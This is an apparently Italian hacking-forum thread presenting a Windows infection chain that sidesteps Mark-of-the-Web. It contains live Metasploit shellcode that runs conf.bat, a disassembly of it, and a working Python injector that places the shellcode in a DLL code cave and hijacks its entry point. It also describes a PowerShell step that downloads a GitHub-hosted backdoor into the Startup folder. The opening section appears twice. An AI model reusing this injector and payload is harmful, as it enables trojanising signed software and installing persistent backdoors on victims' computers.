Questo thread è la prova finale di quanto sia stupido il MOTW. Microsoft dovrebbe inserire il 'chmod +x' di Linux al posto del MOTW, per gli eseguibili scaricati da internet.
Questa feature di Linux implementata su Windows me la immagino così: all'apertura di un file, all'user compare una GUI nera (come il terminal) che dice "Digita chmod +x per eseguire quest'app, e premi ENTER. Controlla di averla scaricata da un sito di cui ti fidi prima di continuare. Chmod +x aggiungerà all'app il bit eseguibile, mettendola in modalità RWX. Se desideri ottenere ulteriori informazioni sui permessi in Microsoft Windows, recati su www.microsoft.com/chmod&permissions.html",
sperando che un giorno ci libereremo del MOTW: una feature di protezione pensata per i boomer.
ANTEPRIMA del workflow:
- Iniezione di bytecode in una DLL;
- Exe PE firmato con EV cert valido (usiamo ExoHelp.exe, del thread precedente);
- Batch wrapper che sfrutta Powershell per scaricare una backdoor hostata temporaneamente su Github, risolvendo il dominio
- Lo script Powershell continua, e risolve dinamicamente la posizione dell'infame directory 'Esecuzione Automatica', ci scarica la backdoor e la esegue. Auguri.
1. Reverse enginering del payload
PAYLOAD originale:
2. Eseguiamo lo script che si occupa di reversare il codice:
Eseguito lo script, otterremo un output che rivela l'assembly in plain text, mostrando inoltre la stringa passata a CMD.
Ora che abbiamo l'assembly in plain text, modifichiamo il codice per usare un API diversa. ShellExecute. Dunque ricompiliamo il codice e lo riconvertiamo in bytecode con NASM. La versione "FUD" dello shellcode non sarà mostrata nel thread per ragioni di sicurezza.
PASSO FINALE: Injector.py - Qua continuo a usare la versione "Non FUD" dello shellcode, con quest'injector. La tecnica di iniezione non è studiata meticolosamente, e infatti il workflow della DLL risulterà compromesso, ma lo shellcode sarà iniettato ed eseguito correttamente. Eseguendo il PE, la nostra DLL si comporterà come previsto, eseguendo il batch malevolo.
Questa feature di Linux implementata su Windows me la immagino così: all'apertura di un file, all'user compare una GUI nera (come il terminal) che dice "Digita chmod +x per eseguire quest'app, e premi ENTER. Controlla di averla scaricata da un sito di cui ti fidi prima di continuare. Chmod +x aggiungerà all'app il bit eseguibile, mettendola in modalità RWX. Se desideri ottenere ulteriori informazioni sui permessi in Microsoft Windows, recati su www.microsoft.com/chmod&permissions.html",
sperando che un giorno ci libereremo del MOTW: una feature di protezione pensata per i boomer.
ANTEPRIMA del workflow:
- Iniezione di bytecode in una DLL;
- Exe PE firmato con EV cert valido (usiamo ExoHelp.exe, del thread precedente);
- Batch wrapper che sfrutta Powershell per scaricare una backdoor hostata temporaneamente su Github, risolvendo il dominio
raw.githubusercontent.com
piuttosto che github.com
, mentre sfruttiamo (New-Object Net.WebClient).DownloadFile
al posto di Invoke-WebRequest
per garantire la propagazione dell'infezione anche a Windows 7 (che non supporta la cmdlet Invoke-WebRequest, di base ha Powershell 2.0, IWBR è stato introdotto nel 3.0)- Lo script Powershell continua, e risolve dinamicamente la posizione dell'infame directory 'Esecuzione Automatica', ci scarica la backdoor e la esegue. Auguri.
1. Reverse enginering del payload
windows/exec
di Metasploit, questo payload sfrutta l'API WinExec per passare a CMD l'argomento conf.bat
. Con la libreria Capstone di Python disassembliamo il bytecode, e ricostruiamo l'assembly.PAYLOAD originale:
Codice:
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x53\xff\xd5\x63\x6f\x6e\x66\x2e\x62\x61\x74"
buf += b"\x00"
2. Eseguiamo lo script che si occupa di reversare il codice:
Codice:
from capstone import Cs, CS_ARCH_X86, CS_MODE_32, CS_OP_REG, CS_OP_MEM
import re
def disassemble_shellcode(shellcode):
md = Cs(CS_ARCH_X86, CS_MODE_32)
md.detail = True
disassembly_output = []
strings = []
for i in md.disasm(shellcode, 0x1000):
instruction = f"0x{i.address:x} : {i.mnemonic} {i.op_str}"
disassembly_output.append(instruction)
print(instruction)
for op in i.operands:
if op.type == CS_OP_REG:
print(f"\tOperand: Register {i.reg_name(op.reg)}")
elif op.type == CS_OP_MEM:
mem_str = "\tOperand: Memory ["
if op.mem.segment != 0:
mem_str += f"{i.reg_name(op.mem.segment)}:"
if op.mem.base != 0:
mem_str += f"{i.reg_name(op.mem.base)}"
if op.mem.index != 0:
mem_str += f"+{i.reg_name(op.mem.index)}*{op.mem.scale}"
if op.mem.disp != 0:
mem_str += f"+0x{op.mem.disp:x}"
mem_str += "]"
print(mem_str)
if i.mnemonic.startswith('mov') and op == i.operands[1]:
print("\tMemory Read")
elif i.mnemonic.startswith('mov') and op == i.operands[0]:
print("\tMemory Write")
elif i.mnemonic.startswith('push') or i.mnemonic.startswith('pop'):
print("\tMemory Access (Push/Pop)")
if i.eflags:
print(f"\tEFLAGS affected: {i.eflags}")
strings = extract_strings(shellcode)
generate_report(disassembly_output, strings)
def extract_strings(shellcode):
pattern = rb'[ -~]{4,}'
found_strings = re.findall(pattern, shellcode)
if found_strings:
print("\nExtracted Strings:")
for s in found_strings:
print(f"String: {s.decode()}")
else:
print("\nNo strings found.")
return found_strings
def generate_report(disassembly_output, strings):
print("\n===== Disassembly Report =====")
print("\nDisassembly:")
for line in disassembly_output:
print(line)
print("\nStrings Found in Shellcode:")
if strings:
for s in strings:
print(f"String: {s.decode()}")
else:
print("No strings found.")
shellcode = (
b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
b"\x00\x53\xff\xd5\x63\x6f\x6e\x66\x2e\x62\x61\x74"
b"\x00"
)
disassemble_shellcode(shellcode)
Eseguito lo script, otterremo un output che rivela l'assembly in plain text, mostrando inoltre la stringa passata a CMD.
Codice:
0x1000 : cld
EFLAGS affected: 8388608
0x1001 : call 0x1088
0x1006 : pushal
0x1007 : mov ebp, esp
Operand: Register ebp
Operand: Register esp
0x1009 : xor eax, eax
Operand: Register eax
Operand: Register eax
EFLAGS affected: 17592192335900
0x100b : mov edx, dword ptr fs:[eax + 0x30]
Operand: Register edx
0x100f : mov edx, dword ptr [edx + 0xc]
Operand: Register edx
0x1012 : mov edx, dword ptr [edx + 0x14]
Operand: Register edx
0x1015 : mov esi, dword ptr [edx + 0x28]
Operand: Register esi
0x1018 : movzx ecx, word ptr [edx + 0x26]
Operand: Register ecx
0x101c : xor edi, edi
Operand: Register edi
Operand: Register edi
EFLAGS affected: 17592192335900
0x101e : lodsb al, byte ptr [esi]
Operand: Register al
Operand: Register esi
EFLAGS affected: 549755813888
0x101f : cmp al, 0x61
Operand: Register al
EFLAGS affected: 63
0x1021 : jl 0x1025
EFLAGS affected: 25769803776
0x1023 : sub al, 0x20
Operand: Register al
EFLAGS affected: 63
0x1025 : ror edi, 0xd
Operand: Register edi
EFLAGS affected: 1099511627778
0x1028 : add edi, eax
Operand: Register edi
Operand: Register eax
EFLAGS affected: 63
0x102a : loop 0x101e
0x102c : push edx
Operand: Register edx
0x102d : push edi
Operand: Register edi
0x102e : mov edx, dword ptr [edx + 0x10]
Operand: Register edx
0x1031 : mov ecx, dword ptr [edx + 0x3c]
Operand: Register ecx
0x1034 : mov ecx, dword ptr [ecx + edx + 0x78]
Operand: Register ecx
0x1038 : jecxz 0x1082
0x103a : add ecx, edx
Operand: Register ecx
Operand: Register edx
EFLAGS affected: 63
0x103c : push ecx
Operand: Register ecx
0x103d : mov ebx, dword ptr [ecx + 0x20]
Operand: Register ebx
0x1040 : add ebx, edx
Operand: Register ebx
Operand: Register edx
EFLAGS affected: 63
0x1042 : mov ecx, dword ptr [ecx + 0x18]
Operand: Register ecx
0x1045 : jecxz 0x1081
0x1047 : dec ecx
Operand: Register ecx
EFLAGS affected: 61
0x1048 : mov esi, dword ptr [ebx + ecx*4]
Operand: Register esi
0x104b : add esi, edx
Operand: Register esi
Operand: Register edx
EFLAGS affected: 63
0x104d : xor edi, edi
Operand: Register edi
Operand: Register edi
EFLAGS affected: 17592192335900
0x104f : lodsb al, byte ptr [esi]
Operand: Register al
Operand: Register esi
EFLAGS affected: 549755813888
0x1050 : ror edi, 0xd
Operand: Register edi
EFLAGS affected: 1099511627778
0x1053 : add edi, eax
Operand: Register edi
Operand: Register eax
EFLAGS affected: 63
0x1055 : cmp al, ah
Operand: Register al
Operand: Register ah
EFLAGS affected: 63
0x1057 : jne 0x104f
EFLAGS affected: 34359738368
0x1059 : add edi, dword ptr [ebp - 8]
Operand: Register edi
EFLAGS affected: 63
0x105c : cmp edi, dword ptr [ebp + 0x24]
Operand: Register edi
EFLAGS affected: 63
0x105f : jne 0x1045
EFLAGS affected: 34359738368
0x1061 : pop eax
Operand: Register eax
0x1062 : mov ebx, dword ptr [eax + 0x24]
Operand: Register ebx
0x1065 : add ebx, edx
Operand: Register ebx
Operand: Register edx
EFLAGS affected: 63
0x1067 : mov cx, word ptr [ebx + ecx*2]
Operand: Register cx
0x106b : mov ebx, dword ptr [eax + 0x1c]
Operand: Register ebx
0x106e : add ebx, edx
Operand: Register ebx
Operand: Register edx
EFLAGS affected: 63
0x1070 : mov eax, dword ptr [ebx + ecx*4]
Operand: Register eax
0x1073 : add eax, edx
Operand: Register eax
Operand: Register edx
EFLAGS affected: 63
0x1075 : mov dword ptr [esp + 0x24], eax
Operand: Register eax
0x1079 : pop ebx
Operand: Register ebx
0x107a : pop ebx
Operand: Register ebx
0x107b : popal
0x107c : pop ecx
Operand: Register ecx
0x107d : pop edx
Operand: Register edx
0x107e : push ecx
Operand: Register ecx
0x107f : jmp eax
Operand: Register eax
0x1081 : pop edi
Operand: Register edi
0x1082 : pop edi
Operand: Register edi
0x1083 : pop edx
Operand: Register edx
0x1084 : mov edx, dword ptr [edx]
Operand: Register edx
0x1086 : jmp 0x1015
0x1088 : pop ebp
Operand: Register ebp
0x1089 : push 1
0x108b : lea eax, [ebp + 0xb2]
Operand: Register eax
0x1091 : push eax
Operand: Register eax
0x1092 : push 0x876f8b31
0x1097 : call ebp
Operand: Register ebp
0x1099 : mov ebx, 0x56a2b5f0
Operand: Register ebx
0x109e : push 0x9dbd95a6
0x10a3 : call ebp
Operand: Register ebp
0x10a5 : cmp al, 6
Operand: Register al
EFLAGS affected: 63
0x10a7 : jl 0x10b3
EFLAGS affected: 25769803776
0x10a9 : cmp bl, 0xe0
Operand: Register bl
EFLAGS affected: 63
0x10ac : jne 0x10b3
EFLAGS affected: 34359738368
0x10ae : mov ebx, 0x6f721347
Operand: Register ebx
0x10b3 : push 0
0x10b5 : push ebx
Operand: Register ebx
0x10b6 : call ebp
Operand: Register ebp
0x10b8 : arpl word ptr [edi + 0x6e], bp
Operand: Register bp
EFLAGS affected: 8
0x10bb : bound sp, dword ptr cs:[ecx + 0x74]
Operand: Register sp
Extracted Strings:
String: ;}$u
String: D$$[[aYZQ
String: conf.bat
===== Disassembly Report =====
Disassembly:
0x1000 : cld
0x1001 : call 0x1088
0x1006 : pushal
0x1007 : mov ebp, esp
0x1009 : xor eax, eax
0x100b : mov edx, dword ptr fs:[eax + 0x30]
0x100f : mov edx, dword ptr [edx + 0xc]
0x1012 : mov edx, dword ptr [edx + 0x14]
0x1015 : mov esi, dword ptr [edx + 0x28]
0x1018 : movzx ecx, word ptr [edx + 0x26]
0x101c : xor edi, edi
0x101e : lodsb al, byte ptr [esi]
0x101f : cmp al, 0x61
0x1021 : jl 0x1025
0x1023 : sub al, 0x20
0x1025 : ror edi, 0xd
0x1028 : add edi, eax
0x102a : loop 0x101e
0x102c : push edx
0x102d : push edi
0x102e : mov edx, dword ptr [edx + 0x10]
0x1031 : mov ecx, dword ptr [edx + 0x3c]
0x1034 : mov ecx, dword ptr [ecx + edx + 0x78]
0x1038 : jecxz 0x1082
0x103a : add ecx, edx
0x103c : push ecx
0x103d : mov ebx, dword ptr [ecx + 0x20]
0x1040 : add ebx, edx
0x1042 : mov ecx, dword ptr [ecx + 0x18]
0x1045 : jecxz 0x1081
0x1047 : dec ecx
0x1048 : mov esi, dword ptr [ebx + ecx*4]
0x104b : add esi, edx
0x104d : xor edi, edi
0x104f : lodsb al, byte ptr [esi]
0x1050 : ror edi, 0xd
0x1053 : add edi, eax
0x1055 : cmp al, ah
0x1057 : jne 0x104f
0x1059 : add edi, dword ptr [ebp - 8]
0x105c : cmp edi, dword ptr [ebp + 0x24]
0x105f : jne 0x1045
0x1061 : pop eax
0x1062 : mov ebx, dword ptr [eax + 0x24]
0x1065 : add ebx, edx
0x1067 : mov cx, word ptr [ebx + ecx*2]
0x106b : mov ebx, dword ptr [eax + 0x1c]
0x106e : add ebx, edx
0x1070 : mov eax, dword ptr [ebx + ecx*4]
0x1073 : add eax, edx
0x1075 : mov dword ptr [esp + 0x24], eax
0x1079 : pop ebx
0x107a : pop ebx
0x107b : popal
0x107c : pop ecx
0x107d : pop edx
0x107e : push ecx
0x107f : jmp eax
0x1081 : pop edi
0x1082 : pop edi
0x1083 : pop edx
0x1084 : mov edx, dword ptr [edx]
0x1086 : jmp 0x1015
0x1088 : pop ebp
0x1089 : push 1
0x108b : lea eax, [ebp + 0xb2]
0x1091 : push eax
0x1092 : push 0x876f8b31
0x1097 : call ebp
0x1099 : mov ebx, 0x56a2b5f0
0x109e : push 0x9dbd95a6
0x10a3 : call ebp
0x10a5 : cmp al, 6
0x10a7 : jl 0x10b3
0x10a9 : cmp bl, 0xe0
0x10ac : jne 0x10b3
0x10ae : mov ebx, 0x6f721347
0x10b3 : push 0
0x10b5 : push ebx
0x10b6 : call ebp
0x10b8 : arpl word ptr [edi + 0x6e], bp
0x10bb : bound sp, dword ptr cs:[ecx + 0x74]
Strings Found in Shellcode:
String: ;}$u
String: D$$[[aYZQ
String: conf.bat
Ora che abbiamo l'assembly in plain text, modifichiamo il codice per usare un API diversa. ShellExecute. Dunque ricompiliamo il codice e lo riconvertiamo in bytecode con NASM. La versione "FUD" dello shellcode non sarà mostrata nel thread per ragioni di sicurezza.
PASSO FINALE: Injector.py - Qua continuo a usare la versione "Non FUD" dello shellcode, con quest'injector. La tecnica di iniezione non è studiata meticolosamente, e infatti il workflow della DLL risulterà compromesso, ma lo shellcode sarà iniettato ed eseguito correttamente. Eseguendo il PE, la nostra DLL si comporterà come previsto, eseguendo il batch malevolo.
Python:
import pefile
import struct
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x53\xff\xd5\x63\x6f\x6e\x66\x2e\x62\x61\x74"
buf += b"\x00"
def analyze_dll(dll_path):
pe = pefile.PE(dll_path)
print(f"Analyzing DLL: {dll_path}")
print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
print(f"Number of Sections: {pe.FILE_HEADER.NumberOfSections}")
for section in pe.sections:
print(f"Section: {section.Name.decode().strip()}")
print(f"\tVirtual Address: {hex(section.VirtualAddress)}")
print(f"\tVirtual Size: {hex(section.Misc_VirtualSize)}")
print(f"\tSize of Raw Data: {hex(section.SizeOfRawData)}")
print(f"\tPointer to Raw Data: {hex(section.PointerToRawData)}")
print(f"\tCharacteristics: {hex(section.Characteristics)}")
return pe
def find_code_cave(pe, size_needed):
for section in pe.sections:
if section.Characteristics & 0x20000000:
data = section.get_data()
for offset in range(len(data) - size_needed):
if data[offset:offset + size_needed] == b'\x00' * size_needed:
print(f"Code cave found at RVA: {hex(section.VirtualAddress + offset)}")
return section.PointerToRawData + offset, section.VirtualAddress + offset
return None, None
def inject_shellcode(pe, shellcode):
code_cave_offset, code_cave_virtual_address = find_code_cave(pe, len(shellcode))
if code_cave_offset is None:
print("Failed to locate a suitable code cave.")
return None
print(f"Injecting shellcode at RVA: {hex(code_cave_virtual_address)}")
pe.set_bytes_at_offset(code_cave_offset, shellcode)
original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
hook_offset = pe.get_offset_from_rva(original_entry_point)
relative_offset = code_cave_virtual_address - (original_entry_point + 5)
if relative_offset < 0:
relative_offset = (1 << 32) + relative_offset
jump_to_shellcode = b'\xe9' + struct.pack('<I', relative_offset)
print(f"Original Entry Point: {hex(original_entry_point)}")
print(f"Jump to Shellcode Offset: {hex(relative_offset)}")
print(f"Hook Offset: {hex(hook_offset)}")
original_code = pe.get_data(original_entry_point, 5)
if not isinstance(original_code, bytes):
original_code = bytes(original_code)
pe.set_bytes_at_offset(hook_offset, jump_to_shellcode)
if len(shellcode) > 5:
pe.set_bytes_at_offset(code_cave_offset + len(shellcode), original_code[:5])
else:
pe.set_bytes_at_offset(code_cave_offset + len(shellcode), original_code)
return pe
def write_modified_dll(pe, modified_dll_path):
try:
pe.write(modified_dll_path)
print(f"Modified DLL written to: {modified_dll_path}")
except IOError as e:
print(f"Error writing modified DLL: {e}")
raise
def main():
dll_path = 'ExoHelp_M.dll'
modified_dll_path = 'ExoHelp.dll'
dll_pe = analyze_dll(dll_path)
modified_pe = inject_shellcode(dll_pe, buf)
if modified_pe:
write_modified_dll(modified_pe, modified_dll_path)
if __name__ == "__main__":
main()